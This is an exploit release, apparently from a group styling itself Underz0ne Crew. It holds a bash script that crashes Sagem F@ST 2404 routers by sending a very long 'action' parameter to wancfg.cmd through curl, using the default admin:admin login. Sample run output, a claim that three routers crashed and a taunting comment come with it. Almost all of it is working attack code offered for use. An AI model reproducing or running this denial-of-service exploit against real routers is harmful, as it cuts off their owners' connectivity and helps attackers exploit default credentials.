Sagem Router F@ST 2404 Remote Denial Of Service Exploit

Discovery Date : 01/09/2008

#!/usr/bin/bash

Author : Underz0ne Crew [Underz0ne.net]

Zigma

Severity : Medium

CVE : Not assigned

Example :

Zigma@Underz0ne # ./sagem2404.sh 192.168.1.1

Sagem Router F@ST 2404 Remote Denial Of Service Exploit

By Underz0ne Crew

[+] DoSing Sagem 2404 …

[+] Done !

[+] cya

Zigma@Underz0ne # nc -vvn 192.161.1.1 80

(UNKNOWN) [192.168.1.1] 80 (?) : Connection refused

sent 0, rcvd 0

Tested on 3 Sagem routers F@ST 2404 all got crashed !

#PS: M7at7et w mrayech … Man get a fucking life !!

IP=$1

            echo -e "\n Sagem Router F@ST 2404 Remote Denial Of Service Exploit "
            echo -e "\n By Underz0ne Crew "

if [ "$IP" = "" ];then
echo -e "\n USAGE : $0 [IP]\n"
echo -e "\n Example: $0 192.168.1.1\n "
exit
fi;

            echo -e "\n[+] DoSing Sagem 2404 ..."

By default the username of sagem's router is Admin so then the pass , sagem uses HTTP

Authentication it can be so easly cracked or sniffed !!

curl -u admin:admin
"$1/wancfg.cmd?action=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

            echo -e "\n [+] Done ! "
            echo -e "\n [+] Cya    "

exit